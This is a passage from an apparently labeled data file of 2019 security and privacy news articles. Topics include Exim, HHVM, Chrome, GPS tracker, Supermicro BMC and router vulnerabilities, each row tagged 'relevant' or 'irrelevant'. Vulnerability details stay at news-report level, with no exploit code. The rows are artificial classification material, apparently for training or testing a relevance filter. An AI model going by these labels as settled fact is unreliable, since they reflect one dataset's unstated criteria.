commands could also be used to potentially execute arbitrary code. ""The currently known exploit uses an extraordinary long EHLO string to crash the Exim process that is receiving the message,"" says the Exim developers' team. ""While at this mode of operation, Exim already dropped its privileges, other paths to reach the vulnerable code may exist."" In mid-year, Exim also patched a severe remote command execution vulnerability (CVE-2019-10149) in its email software that was actively exploited in the wild by various groups of hackers to compromise vulnerable servers. Therefore, server administrators are highly recommended to install the latest Exim 4.92.3 version as soon as possible, since there is no known mitigation to temporarily resolve this issue. The team also says, ""if you can't install the above versions, ask your package maintainer for a version containing the backported fix. On request and depending on our resources, we will support you in backporting the fix."" The security update is available for Linux distributions, including Ubuntu, Arch Linux, FreeBSD, Debian, and Fedora.",relevant
"Exim TLS Flaw Opens Email Servers to Remote 'Root' Code Execution Attacks A critical remote code execution vulnerability has been discovered in the popular open-source Exim email server software, leaving at least over half a million email servers vulnerable to remote hackers. Exim maintainers today released Exim version 4.92.2 after publishing an early warning two days ago, giving system administrators a heads-up on its upcoming security patches that affect all versions of the email server software up to and including then-latest 4.92.1. Exim is a widely used, open source mail transfer agent (MTA) software developed for Unix-like operating systems such as Linux, Mac OSX or Solaris, which runs almost 60% of the internet's email servers today for routing, delivering and receiving email messages. Tracked as CVE-2019-15846, the security vulnerability only affects Exim servers that accept TLS connections, potentially allowing attackers to gain root-level access to the system ""by sending an SNI ending in a backslash-null sequence during the initial TLS handshake."" SNI, stands for Server Name Indication, is an extension of the TLS protocol that allows the server to safely host multiple TLS certificates for multiple sites, all under a single IP address. According to the Exim team, since the vulnerability doesn't depend on the TLS library being used by the server, both GnuTLS and OpenSSL are affected. Moreover, though the default configuration of the Exim mail server software doesn't come with TLS enabled, some operating systems bundled the Exim software with the vulnerable feature enabled by default. The vulnerability was discovered by an open source contributor and security researcher who goes by the online alias Zerons and analyzed by cybersecurity experts at Qualys. Just three months ago, Exim also patched a severe remote command execution vulnerability, tracked as CVE-2019-10149, that was actively exploited in the wild by various groups of hackers to compromise vulnerable servers. The Exim advisory says that a rudimentary proof of concept (PoC) exists for this flaw, but currently there is no known exploit available to the public. Server administrators are highly recommended to install the latest Exim 4.92.2 version immediately, and if not possible, can mitigate the issue by not allowing unpatched Exim servers to accept TLS connections. The team says, ""If you can't install the above versions, ask your package maintainer for a version containing the backported fix. On request and depending on our resources we will support you in backporting the fix.""",relevant
"Chinese Face-Swapping App ZAO Sparks Privacy Concerns After Going Crazily Viral What could be more exciting than seeing yourself starring alongside your favorite actor in a movie, music video, or TV program? Yes, that's possible—well, kind of, by using a new AI-based deepfake app that has gone viral in China over this weekend, climbing to the top of the free apps list in the Chinese iOS App Store in just three days. Dubbed ZAO, the app is yet another deepfake app for iPhone that lets you superimpose your face onto actors like Leonardo DiCaprio, Kit Harrington from ""Game of Thrones,"" and many others in video clips from their popular movies and TV shows with just a selfie uploaded by you. Developed by Chinese developer MoMo, one of China's most popular dating apps, ZAO was released on Friday (August 30) and rapidly got downloaded millions of times with users being excited about the experience for the app's realistic face-swapping videos that last for as little as 8 seconds. ZAO Deepfake Face Swap App Sparks Privacy Outcry However, ZAO faced a sudden backlash from some users concerned about the potential misuse of deepfake technology. An earlier version (now deleted) of ZAO's user agreement stated that users who willingly uploaded their photos agree to give ZAO full ownership and ""free, irrevocable, permanent, transferable, and relicense-able"" license to all user-generated content and permit the developer to use their images for processing and marketing purposes. For those unaware, users can easily re-map their face onto a video by choosing a video clip from a limited library of popular videos on ZAO and uploading just their single selfie, though the app suggests users to upload selfies from different angles for more realistic results. face swapping deepfake zao app Almost-immediate backlash from a large number of users has forced the company to quickly respond to the criticism and amend its user agreement which now says it won't use photos or videos uploaded by users for anything other than app improvements without their consent. ""We fully understand your concerns about privacy issues. The questions you have raised have been received, and we will change it in a place that is not well-considered. It will take some time,"" read a statement posted on September 1 to ZAO's Weibo account. Furthermore, ZAO will also remove any data that users uploaded to the company's servers but subsequently deleted from the app. WeChat Blocks DeepFake App ZAO Over Data Collection Concerns In the wake of the privacy concerns, WeChat has restricted access to the ZAO app on its messaging platform, with users still be able to upload videos they created with ZAO to WeChat, but unable to download the app or send an invite link to another WeChat user. While doing so, a message on WeChat displays saying ""this web page has been reported multiple times and contains security risks. To maintain a safe online environment, access to this page has been blocked."" Moreover, China's E-Commerce Research Center also urged authorities on Monday to look into the matter and investigate it after the ZAO app was found allegedly violating ""certain laws and standards set by the nation and the industry."" This isn't the first face-swapping technology that has recently gone viral—and it won't be the last. Just over a month ago, FaceApp also took the internet by storm with millions of downloading and sharing aged pictures of themselves. Similar privacy concerns also surrounded FaceApp earlier this summer, when the Russian app's developer was forced to clarify its privacy policy and offer users the option to delete their photos off its servers if they want. ZAO can be download for free, but is currently only available in Chinese App Store for iOS devices and not listed on the UK or US App Store or Play Store.",irrelevant
"Facebook Patches ""Memory Disclosure Using JPEG Images"" Flaws in HHVM Servers Facebook has patched two high-severity vulnerabilities in its server application that could have allowed remote attackers to unauthorisedly obtain sensitive information or cause a denial of service just by uploading a maliciously constructed JPEG image file. The vulnerabilities reside in HHVM (HipHop Virtual Machine)—a high-performance, open source virtual machine developed by Facebook for executing programs written in PHP and Hack programming languages. HHVM uses a just-in-time (JIT) compilation approach to achieve superior performance of your Hack and PHP code while maintaining the development flexibility that the PHP language provides. Since the affected HHVM server application is open-source and free, both issues may also impact other websites that use HHVM, including Wikipedia, Box and especially those which allow their users to upload images on the server. Both the vulnerabilities, as listed below, reside due to a possible memory overflow in the GD extension of HHVM when a specially constructed invalid JPEG input is passed in, leading to out-of-bounds read—a flaw that allows a malformed program to read data from outside the bounds of allocated memory. CVE-2019-11925: Insufficient boundary check issues occur when processing the JPEG APP12 block marker in the GD extension, allowing potential attackers to access out-of-bounds memory via a maliciously crafted invalid JPEG input. CVE-2019-11926: Insufficient boundary check issues occur when processing M_SOFx markers from JPEG headers in the GD extension, allowing potential attackers to access out-of-bounds memory via a maliciously crafted invalid JPEG input. Both the vulnerabilities affect all supported HHVM versions prior to 3.30.9, all versions between HHVM 4.0.0 and 4.8.3, all versions between HHVM 4.9.0 and 4.15.2, and HHVM versions 4.16.0 to 4.16.3, 4.17.0 to 4.17.2, 4.18.0 to 4.18.1, 4.19.0, 4.20.0 to 4.20.1. The HHVM team has addressed the vulnerabilities with the release of HHVM versions 4.21.0, 4.20.2, 4.19.1, 4.18.2, 4.17.3, 4.16.4, 4.15.3, 4.8.4, and 3.30.10. If your website or server is also using HHVM, you are highly recommended to update it to the latest version of the software.",relevant
"Popular Period Tracking Apps Share Your Sexual Health Data With Facebook Hello Ladies, let's talk about periods, privacy, and Facebook. Are you using an app on your smartphone to keep tracks on your periods? Well, it's worrying, because it might be sharing your extremely sensitive information like menstrual cycle and sexual activities with Facebook. A new investigative report from UK-based advocacy group Privacy International revealed how some most popular period tracker apps used by millions of women share their most private health information—including monthly period cycles, contraception use, sexual life, symptoms, like swelling and cramps, and more—directly with Facebook. These period-tracking apps, listed below, transfer your data to Facebook the moment you open them, regardless of the fact that you have a Facebook account or not, and whether you are logged into the social network platform or not. Period-tracking apps are used by women to keep tracks on their monthly period cycles, but mostly they are being used by those who want to conceive, as such apps can help them monitor ovulation days when there are more chances of conceiving a child. For accuracy in calculating the day of the month you're most fertile or the date of your next period, these apps ask you to log some of your most sensitive information into the app, like when you have sex, dates of your periods, physical and emotional symptoms and more—the information you would otherwise not prefer to share with anyone. These Period Tracking Apps Share Your Data With Facebook However, Privacy International found that some of the most popular period-tracking apps with millions of downloads on Google Play Store, listed below, share this information directly with Facebook or other third-party services. The apps share user-entered data with Facebook via its software development kit (SDK) integrated into the app to help app developers, among other functions, earn revenue by collecting user data so Facebook can show them targeted advertisements. Maya—owned by India-based Plackal Tech and has over 5 million downloads MIA Fem: Ovulation Calculator—by Cyprus-based Mobapp Development Limited and has over 1 million downloads My Period Tracker—owned by Linchpin Health and has over 1 million downloads Ovulation Calculator—owned by PinkBird and has over half a million downloads Mi Calendario—by Grupo Familia and has more than 1 million downloads ""The wide reach of the apps that our research has looked at might mean that intimate details of the private lives of millions of users across the world are shared with Facebook and other third parties without those users' free unambiguous and informed or explicit consent, in the case of sensitive personal data, such as data relating to a user's health or sex life,"" the report reads. Besides sharing users' data with third-party services, some period-tracking apps even ask them if they want to anonymize this data or not, as the report says: ""If you have unprotected sex, MIA will tell you what to do. And share it with Facebook and others."" ""Confidentiality is at the heart of medical ethics and countries that have data protection laws traditionally have a separate regime for health data, which includes health data, which are considered sensitive data,"" the researchers said. ""Our research highlights that the apps we have exposed raise serious concerns when it comes to their compliance with their GDPR obligations, especially around consent and transparency."" Facebook and Affected Apps Responded When contacted, one of the app, called Maya, told PI that the app had ""removed both the Facebook core SDK and Analytics SDK from Maya"" and released a new version of its app, Version 3.6.7.7, on the Google Play Store that reflect these changes. Maya also said the app would continue to use the Facebook Ad SDK for users who had agreed to its terms and conditions and privacy policy, but added that it does not ""share any personally identifiable data or medical data with the Facebook Ad SDK."" menstruation period tracker app period tracking app PinkBird, who owns Ovulation Calculator, acknowledged that the app had integrated Facebook advertising SDK to maintain the development of PinkBird team, but said it would ""investigate whether the advertising platform collects users' private data or not, and if it collects, we will remove it immediately."" In response to the report, Facebook said its Terms require every app developer to be clear with their users about what information they are gathering and sharing with the social network and have a ""lawful basis"" for collecting this data. Facebook also added that it prohibits app developers from sharing customer data that ""includes health, financial information, or other categories of sensitive information (including any information defined as sensitive under applicable law)."" The social media giant also said it had got in touch with the period-tracking apps in question about potential violations of Facebook's terms of service.",relevant
"Mozilla Launches 'Firefox Private Network' VPN Service as a Browser Extension Mozilla has officially launched a new privacy-focused VPN service, called Firefox Private Network, as a browser extension that aims to encrypt your online activity and limit what websites and advertisers know about you. Firefox Private Network service is currently in beta and available only to desktop users in the United States as part of Mozilla's recently expunged ""Firefox Test Pilot"" program that lets users try out new experimental features before they were officially released. The Firefox Test Pilot program was first launched by the company three years ago but was shut down in January this year. The company now decided to bring the program back but with some changes. ""The difference with the newly relaunched Test Pilot program is that these products and services may be outside the Firefox browser, and will be far more polished, and just one step shy of general public release,"" said Marissa Wood, vice president of product at Mozilla. Firefox Private Network is the Test Pilot program's first new project. Firefox Private Network — Mozilla's VPN Service Like any other best VPN service, Firefox Private Network also masks your IP address from third-party online trackers and protect your sensitive information, like the website you visit and your financial information, when using public Wi-Fi. Mozilla says its Firefox Private Network ""provides a secure, encrypted path to the web to protect your connection and your personal information anywhere, and everywhere you use your Firefox browser."" Firefox Private Network also works the same way as any other VPN service. firefox private network The Firefox Private Network VPN service also encrypts and funnels every Internet browsing activity of yours through a collection of remote proxy servers, thereby masking your real location/identity and blocking third parties, including government and your ISP, from snooping on your connection. The actual proxy servers for the Firefox Private Network extension is provided by Cloudflare, the company that offers one of the biggest and fastest CDN, DNS and DDoS protection services. For those concerned about the data collection by Cloudflare, Mozilla promises ""strong privacy controls"" to limit what data Cloudflare may collect and for how long it may store that data. ""Cloudflare only observes a limited amount of data about the HTTP/HTTPS requests that are sent to the Cloudflare proxy via browsers with an active Mozilla extension,"" Cloudflare says. ""When requests are sent to the Cloudflare proxy, Cloudflare will observe your IP address, the IP address for the Internet property you are accessing, source port, destination port, timestamp and a token provided by Mozilla that indicates that you are a Firefox Private Network user (together, ""Proxy Data""). All Proxy Data will be deleted within 24 hours."" How To Sign Up For Firefox VPN Service Firefox Private Network currently works only on desktops but is believed to be made available for mobile users as well, once the VPN exits beta. Although the Firefox Private Network service is currently free, Mozilla hinted that the company is exploring possible pricing options for the service in the future to keep it self-sustainable. For now, if you have a Firefox account and reside in the United States, you can test the Firefox VPN service for free by signing up on the Firefox Private Network website. Once installed on your desktop, the Firefox Private Network extension will add a toggle on the toolbar of your Firefox web browser so you can easily turn it on or off at any time. What's your take on Firefox Private Network? Let us know in the comments below.",irrelevant
"Firefox 69 Now Blocks 3rd-Party Tracking Cookies and Cryptominers By Default Mozilla has finally enabled the ""Enhanced Tracking Protection"" feature for all of its web browser users worldwide by default with the official launch of Firefox 69 for Windows, Mac, Linux, and Android. The company enabled the ""Enhanced Tracking Protection"" setting by default for its browser in June this year, but only for new users who downloaded and installed a fresh copy of Firefox. Remaining users were left with options to either enable the feature manually or wait for the company to activate it for all users. Now, the wait is over. With Firefox 69, Enhanced Tracking Protection will automatically be turned on by default for all users as part of the ""Standard"" setting in the Firefox browser, blocking known ""third-party tracking cookies"" and web-based cryptocurrency mining scripts. Firefox 69 By Default Blocks Known Third-Party Tracking Cookies Cookies are created by a web browser when a user loads a specific website, which helps the site to remember information about your visit, like your login information, preferred language, items in the shopping cart and other settings. A third-party cookie is set by a website other than the one you're currently on, allowing them to offer features like blogs having comment system that works with Facebook account. Besides this, third-party cookies also allow advertisers and websites to track and monitor users online behavior and interests, commonly known as 'tracking cookies' using which they display relevant advertisements, content, and promotions on the websites a user visits. firefox tracking cookies fingerprinting cryptominers However, with the evolution of online advertisements, the targeted advertising technologies have become too much invasive, thereby raising serious privacy concerns among Internet users. To determine which third-party cookies are being used for tracking, the Firefox web browser relies on an open-source anti-tracking tool called Disconnect that lists known third-party trackers. Firefox 69 will now by default block all known third-party tracking cookies that collect and retain data regarding users' activity across multiple sites or applications—which are even sold and used by the companies for their personal gain, often without your knowledge or consent. Firefox Blocks Web-Based Cryptocurrency Miners Third-party cookies are not the only one that one should worry about. In the past years, web-based cryptocurrency miners have increasingly been abused by not just hackers but also websites and mobile apps to monetize by levying the CPU power of your PCs to secretly mine cryptocurrencies—often without your knowledge or consent. In the wake of cryptocurrency mining scripts, both Apple and Google banned applications from listing in their app stores that mine cryptocurrencies on users' devices in the background. Now, Firefox 69 also blocks web-based cryptocurrency miners by default, preventing draining your CPU usage and battery power on your computers. Though this feature has existed in previous beta versions of Firefox, it is now available as standard to all, as Mozilla said, ""We introduced the option to block cryptominers in previous versions of Firefox Nightly and Beta and are including it in the 'Standard Mode 'of your Content Blocking preferences as of today."" Another type of script that tracks you everywhere on the Internet and you may not want to run in your web browser are Fingerprinting scripts—websites that host scripts harvesting a snapshot of your computer's configuration that can then be used to track you across the web. However, the option to block fingerprinting scripts will not be offered by default in the Standard mode, though Mozilla said the company has plans to turn fingerprinting protections on by default in future releases. For now, users can block fingerprinting scripts by enabling the ""Strict"" Content Blocking mode through Firefox's Preferences menu, under ""Privacy & Security."" Adobe Flash Disabled by Default Besides blocking third-party tracking cookies and cryptocurrency miners by default, Firefox 69 will disable Adobe Flash Player by default in the web browser and will now ask for your permission before turning on Flash on websites. Mozilla has completely removed the ""Always Activate"" option for Adobe Flash plugin content from its browser, which suggests there is no longer a need to identify users on 32-bit Firefox version on 64-bit operating system version, reducing user agent fingerprinting and providing a greater level of privacy. In addition, Firefox 69 also offers users the ability to block autoplay videos that automatically start playing without sound, numerous performance and UI improvements on Windows 10, and better battery life and download UI on macOS. If you haven't yet, download Firefox 69 for your desktop now from the official Firefox.com website. All existing Firefox users should be able to upgrade to the new version automatically.",irrelevant
"Update Google Chrome Browser to Patch New Critical Security Flaws Google has released an urgent software update for its Chrome web browser and is urging Windows, Mac, and Linux users to upgrade the application to the latest available version immediately. Started rolling out to users worldwide this Wednesday, the Chrome 77.0.3865.90 version contains security patches for 1 critical and 3 high-risk security vulnerabilities, the most severe of which could allow remote hackers to take control of an affected system. Google has decided to keep details of all four vulnerabilities secret for a few more days in order to prevent hackers from exploiting them and give users enough time to install the Chrome update. For now, Chrome security team has only revealed that all four vulnerabilities are use-after-free issues in different components of the web browser, as mentioned below, the critical of which could lead to remote code execution attacks. The use-after-free vulnerability is a class of memory corruption issue that allows corruption or modification of data in the memory, enabling an unprivileged user to escalate privileges on an affected system or software. Vulnerabilities Patched By Chrome 77.0.3865.90 Use-after-free in UI (CVE-2019-13685) — Reported by Khalil Zhani Use-after-free in media (CVE-2019-13688) — Reported by Man Yue Mo of Semmle Security Research Team Use-after-free in media (CVE-2019-13687) — Reported by Man Yue Mo of Semmle Security Research Team Use-after-free in offline pages (CVE-2019-13686) — Reported by Brendon Tiszka Google has paid out a total of $40,000 in rewards to Man Yue Mo of Semmle for both the vulnerabilities—$20,000 for CVE-2019-13687 and $20,000 for CVE-2019-13688—while the bug bounties for the remaining two vulnerabilities are yet to be decided. Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary code in the context of the browser just by convincing victims into just opening, or redirecting them to, a specially-crafted web-page on the affected Chrome browser, without requiring any further interaction. Based on previous discloses, the use-after-free flaw could also lead to sensitive information disclosure, security restrictions bypass, unauthorized actions, and cause denial-of-service conditions—depending on the privileges associated with the application. Though Google Chrome automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to ""Help → About Google Chrome"" from the menu. Besides this, you are also recommended to run all software on your systems, whenever possible, as a non-privileged user to diminish the effects of successful attacks exploiting any zero-day vulnerability. We will update you more about these security vulnerabilities as soon as Google releases their technical details.",relevant
"Flaws in Over Half a Million GPS Trackers Expose Children Location Data What if the tech intended to ensure that your kids, senior citizens, and pets are safe even when they're out of sight inadvertently expose them to stalkers? An estimated 600,000 GPS tracking devices for sale on Amazon and other large online merchants for $25–$50 have been found vulnerable to a handful of dangerous vulnerabilities that may have exposed user's real-time locations, security researchers have claimed. Cybersecurity researchers from Avast discovered that 29 models of GPS trackers made by Chinese technology company Shenzhen i365 for keeping tabs on young children, elderly relatives, and pets contain a number of security vulnerabilities. Moreover, all over half a million tracking devices were shipped with the same default password of ""123456,"" leaving an opportunity for attackers to easily access tracking information for those who never changed the default password. Vulnerabilities in GPS Tracking Devices gps tracking device for kids The reported GPS tracking device vulnerabilities could enable remote attackers with just an Internet connection to: track real-time GPS coordinates of the device's wearer, falsify location data of the device to give an inaccurate reading, and access the devices' microphone for eavesdropping. Most of the discovered vulnerabilities rely on the fact that the communication between 'GPS trackers and the Cloud,' 'Cloud and the device's companion mobile Apps,' and 'Users and the device's web-based application'—all use unencrypted plain text HTTP protocol, allowing MiTM attackers to intercept exchanged data and issue unauthorized commands. ""All the communications in the web application go over HTTP. All the JSON requests are again unencrypted and in plaintext,"" researchers explain in a detailed report. ""You can make the tracker call an arbitrary phone number and once connected, you can listen through the tracker the other party without their knowledge. The communication is text-based protocol, and the most concerning thing is the lack of authorization. The whole thing works just by identifying the tracker by its IMEI."" Spying On Real-Time GPS Location With An SMS Besides this, researchers also found that remote attackers can also obtain real-time GPS coordinates of a target device just by sending an SMS to the phone number associated with the SIM card (inserted into the device) which provides DATA+SMS capabilities to the device. hacking gps tracking device for kids Though attackers first need to know the associated phone number and password of the tracker to carry out this attack, researchers said one can exploit cloud/mobile app related flaws to command the tracker send an SMS to an arbitrary phone number on behalf of itself, allowing an attacker to obtain the phone number of the device. Now, with access to the device's phone number and password being '123456' for almost all devices, the attacker can use the SMS as an attack vector. Analysis of the T8 Mini GPS Tracker Locator by the researchers also found that its users were directed to an unsecured website to download the device's companion mobile app, exposing the users' information. Over Half-A-Million People Using Affected GPS Trackers The affected models of GPS trackers include T58, A9, T8S, T28, TQ, A16, A6, 3G, A18, A21, T28A, A12, A19, A20, A20S, S1, P1, FA23, A107, RomboGPS, PM01, A21P, PM02, A16X, PM03, WA3, P1-S, S6, and S9. Though the manufacturer of these GPS trackers, Shenzhen i365, is based in China, Avast's analysis found that these GPS trackers are widely used in the United States, Europe, Australia, South America, and Africa. The researchers said it privately notified the vendor of the critical security vulnerabilities on June 24 and reached the company out multiple times, but never got a response. Martin Hron, senior researcher at Avast, said: ""We have done our due diligence in disclosing these vulnerabilities to the manufacturer, but since we have not heard back after the standard window of time, we are now issuing this public service announcement to consumers and strongly advise you to discontinue use of these devices."" Researchers also advised people to do part of their research and choose a secured device from a respected vendor, rather than go for any cheap equipment from an unknown company on Amazon, eBay, or other online markets.",relevant
"BMC Vulnerabilities Expose Supermicro Servers to Remote USB-Attacks Enterprise servers powered by Supermicro motherboards can remotely be compromised by virtually plugging in malicious USB devices, cybersecurity researchers at firmware security company Eclypsium told The Hacker News. Yes, that's correct. You can launch all types of USB attacks against vulnerable Supermicro servers without actually physically accessing them or waiting for your victim to pick up an unknown, untrusted USB drive and plug it into their computer. Collectively dubbed ""USBAnywhere,"" the attack leverages several newly discovered vulnerabilities in the firmware of BMC controllers that could let an unauthorized, remote attacker connect to a Supermicro server and virtually mount malicious USB device. Comes embedded with a majority of server chipsets, a baseboard management controller (BMC) is a hardware chip at the core of Intelligent Platform Management Interface (IPMI) utilities that allows sysadmins to remotely control and monitor a server without having to access the operating system or applications running on it. In other words, BMC is an out-of-band management system that allows admins to remotely reboot a device, analyze logs, install an operating system, and update the firmware—making it one of the most privileged components in enterprise technology today. One such BMC ability includes mounting virtual media to connect a disk image as a virtual USB CD-ROM or floppy drive with a remote server. According to a report published today by Eclypsium and shared with The Hacker News prior to the publication, BMCs on Supermicro X9, X10, and X11 platforms use an insecure implementation to authenticate the client and transport USB packets between client and server. BMC Vulnerabilities These weaknesses, listed below, can easily be exploited by a remote attacker to bypass authentication process over virtual media service listening on TCP port 623 or intercept traffic to recover weakly encrypted BMC credentials or totally unencrypted credentials. Plaintext Authentication Unencrypted Network Traffic Weak Encryption Authentication Bypass (X10 and X11 platforms only) ""When accessed remotely, the virtual media service allows plaintext authentication, sends most traffic unencrypted, uses a weak encryption algorithm for the rest, and is susceptible to an authentication bypass,"" the researchers explain. ""These issues allow an attacker to easily gain access to a server, either by capturing a legitimate user's authentication packet, using default credentials, and in some cases, without any credentials at all."" Once connected, the compromised virtual media service lets attackers interact with the host system as a raw USB device, allowing them to perform everything that can be done with physical access to a USB port, including: data exfiltration, implant malware, booting from untrusted OS images, direct manipulation of the system via a virtual keyboard and mouse, and disable the device entirely. According to the researchers, a scan of TCP port 623 across the Internet revealed more than 47,000 BMCs from over 90 different countries with the affected BMC firmware virtual media service publicly accessible. Besides exploiting BMCs where virtual media services are directly exposed on the Internet, these flaws can also be exploited by an attacker with access to a closed corporate network or man-in-the-middle attackers within the client-side networks. The researchers reported their findings to Supermicro in June and July this year. The company acknowledged the issues in August and publicly released a firmware update for their X9, X10 and X11 platforms before September 3rd. Organizations are therefore encouraged to update their BMC firmware as soon as possible. Moreover, it is important to make sure that BMCs should never be directly exposed to the Internet, as direct exposure to the Internet greatly increases the likelihood of such attacks.",relevant
"125 New Flaws Found in Routers and NAS Devices from Popular Brands The world of connected consumer electronics, IoT, and smart devices is growing faster than ever with tens of billions of connected devices streaming and sharing data wirelessly over the Internet, but how secure is it? As we connect everything from coffee maker to front-door locks and cars to the Internet, we're creating more potential—and possibly more dangerous—ways for hackers to wreak havoc. Believe me, there are over 100 ways a hacker can ruin your life just by compromising your wireless router—a device that controls the traffic between your local network and the Internet, threatening the security and privacy of a wide range of wireless devices, from computers and phones to IP Cameras, smart TVs and connected appliances. In its latest study titled ""SOHOpelessly Broken 2.0,"" Independent Security Evaluators (ISE) discovered a total of 125 different security vulnerabilities across 13 small office/home office (SOHO) routers and Network Attached Storage (NAS) devices, likely affecting millions. ""Today, we show that security controls put in place by device manufacturers are insufficient against attacks carried out by remote adversaries. This research project aimed to uncover and leverage new techniques to circumvent these new security controls in embedded devices,"" the researchers said. List of Affected Router Vendors SOHO routers and NAS devices tested by the researchers are from the following manufacturers: Buffalo Synology TerraMaster Zyxel Drobo ASUS and its subsidiary Asustor Seagate QNAP Lenovo Netgear Xiaomi Zioncom (TOTOLINK) According to the security researchers, all of these 13 widely-used devices they tested had at least one web application vulnerability that could allow a remote attacker to gain remote shell access or access to the administrative panel of the affected device. hacking wifi router software These vulnerabilities range from cross-site scripting (XSS), cross-site request forgery (CSRF), buffer overflow, operating system command injection (OS CMDi), authentication bypass, SQL injection (SQLi), and file upload path traversal vulnerabilities. Full Control Over Devices Without Authentication Researchers said they successfully obtained root shells on 12 of the devices, allowing them to have complete control over the affected devices, 6 of which contained flaws that would enable attackers to gain full control over a device remotely and without authentication. These affected business and home routers are Asustor AS-602T, Buffalo TeraStation TS5600D1206, TerraMaster F2-420, Drobo 5N2, Netgear Nighthawk R9000, and TOTOLINK A3002RU. This new report, SOHOpelessly Broken 2.0, is a follow-up study, SOHOpelessly Broken 1.0, published by the ISE security firm in 2013, when they disclosed a total of 52 vulnerabilities in 13 SOHO routers and NAS devices from vendors including TP-Link, ASUS, and Linksys. Since SOHOpelessly Broken 1.0, researchers said they found a few newer IoT devices implementing some useful security mechanisms in place, like address-space layout randomization (ASLR), functionalities that hinder reverse engineering, and integrity verification mechanisms for HTTP requests. However, some things have not changed since SOHOpelessly Broken 1.0, like many IoT devices still lack basic web application protection features, like anti-CSRF tokens and browser security headers, which can greatly enhance the security posture of web applications and the underlying systems they interact with. ISE researchers responsibly reported all of the vulnerabilities they discovered to affected device manufacturers, most of which promptly responded and already took security measures to mitigate these vulnerabilities, which have already received CVE Ids. However, some device manufacturers, including Drobo, Buffalo Americas, and Zioncom Holdings, did not respond to the researchers' findings.",relevant
"How Cloud-Based Automation Can Keep Business Operations Secure The massive data breach at Capital One – America's seventh-largest bank, according to revenue – has challenged many common assumptions about cloud computing for the first time. Ironically, the incident, which exposed some 106 million Capital One customers' accounts, has only reinforced the belief that the cloud remains the safest way to store sensitive data. ""You have to compare [the cloud] not against 'perfect' but against 'on-premises.'"" Ed Amoroso, a former chief security officer at AT&T, told Fortune magazine this week. He wasn't the only voice defending cloud computing in the wake of a hack attack. In an article titled ""Don't Doubt the Cloud,"" Fortune columnist Robert Hackett, wrote: ""The cloud is undeniably convenient and, more importantly, better in terms of security than what the majority of companies can achieve alone."" The problem, experts said, was not cloud computing but rather the tendency for companies to become overly-reliant on cloud computing services like Amazon Web Services to oversee all aspects of security, instead of taking full responsibility for their data security. Security Advantages of Cloud-Based System After taking the necessary steps to ensure the safety of their data, companies benefit in numerous ways from the collective security of the cloud. 1. Services such as SaaS (Software as a Service) are hosted on cloud servers With the collective power of the cloud, the changes are extremely high that the servers hosting your data are better protected than your on-site servers would be. In addition, the cloud service provider handles all maintenance, updates, and support. That takes a great deal of pressure off the IT department. This is both the biggest benefit of cloud computing and possibly the biggest area of risk. While a service such as Amazon Cloud Services has security resources few companies can match, it must be remembered that placing data in on the cloud is to take it out of complete control by your company. The firewalls protecting the data are no longer your own. But since your company is still working with the data, it must be secured at a high level on your end. That means compliance with SOC 2 and ISO/27001. 2. Greatly Reduce Human Error – the Single Biggest Threat to Data Safety With fewer people having access to the data, there are fewer opportunities for errors that lead to data breaches. Too often, hackers can get through the most secure firewalls because someone on the other side carelessly clicked through a link that was planted by a hacker, usually in an email. But since the data is stored on servers in the cloud, not on-premises, those types of hacks will not result in data breaches. In addition, adding a layer of automation could reduce the amount of human interaction even more. Start-ups such as PapayaGlobal offer automation in global payroll ears renowned for being the target of hackers, whilst other companies have developed solutions involving robotic process automation (RPA)—software bots that are capable of mimicking human actions. Those bots are already being employed in areas such as book-keeping. The fewer people interacting with sensitive data, the safer the data will be. 3. Data Transfers Only Through Secure channels Some of the most common data breaches are carried out through the most mundane methods. Hackers create ""spoof"" versions of popular email programs. During tax season, when emails between financial departments and accounting firms are most intense, it's easy to fall for the crafty spoofs and wind up sending data directly to a cybercriminal. Email is widely recognized as one of the worst ways to send private and sensitive data for a variety of reasons. Not surprisingly, the strict standard for data privacy set by the EU's GDPR forbids transferring private information through email. With cloud computing, data is sent only through secure, encrypted channels. That eliminates the possibility of spoofs and other common ploys by hackers. It also keeps the data out of sight from hackers, significantly reducing the possibility that they would try to hack your data by other means. 4. Separation between work environment and storage environment Another great advantage of the cloud is the networking segmentation between computing and storage. The obvious benefit of this separation is the reduced risk that all data will be compromised, even if a hacker manages to breach all the sophisticated defenses. Other forms of segmentation include limiting the number of people who can access certain data. Keeping sensitive information in the hands of only those individuals who need it, and staggering access so that the smallest possible number of people have access to the whole is an excellent way to mitigate potential breaches. Avoiding the Next Capital One Breach Few companies were as committed to the benefits of cloud computing as Capital One. While this did not protect the company from suffering one of the largest data breaches in history, it may help the next company avoid the same fate. It has brought greater awareness to the field of cloud security and data protection and identified areas that were exploitable by crafty hackers. The breach did not prove that the cloud was less secure than previously believed. It showed that it is never a good idea to outsource data security entirely to a third party. Companies need to remain on guard at all times, take measures to ensure their own part of the data equation remains up to date with the most advanced technology, and keep a watchful eye on their data even when it is stored in the safety of the cloud.",irrelevant
"iOS 13 Bug Lets 3rd-Party Keyboards Gain 'Full Access' — Even When You Deny Following the release of iOS 13 and iPadOS earlier this week, Apple has issued an advisory warning iPhone and iPad users of an unpatched security bug impacting third-party keyboard apps. On iOS, third-party keyboard extensions can run entirely standalone without access to external services and thus, are forbidden from storing what you type unless you grant ""full access"" permissions to enable some additional features through network access. However, in the brief security advisory, Apple says that an unpatched issue in iOS 13 and iPadOS could allow third-party keyboard apps to grant themselves ""full access"" permission to access what you are typing—even if you deny this permission request in the first place. It should be noted that the iOS 13 bug doesn't affect Apple's built-in keyboards or third-party keyboards that don't make use of full access. apple website Instead, the bug only impacts users who have third-party keyboard apps—such as popular Gboard, Grammarly, and Swiftkey—installed on their iPhones or iPads, which are designed to request full access from users. Though having full access allows app developers to capture all keystroke data and everything you type, it's worth noting that likely no reputable third-party keyboard apps would by default abuse this issue. Even if that doesn't satisfy you, and you want to check if any of the installed third-party keyboards on your iPhone or iPad has enabled full access without your knowledge by exploiting this bug, you can open the Settings → General → Keyboard → Keyboards. Apple assured its users that the company is already working on a fix to address this issue, which it plans to release in its upcoming software update. Until Apple comes up with a fix, you can mitigate this issue by temporarily uninstalling all third-party keyboards from your device just to be on the safer side.",relevant
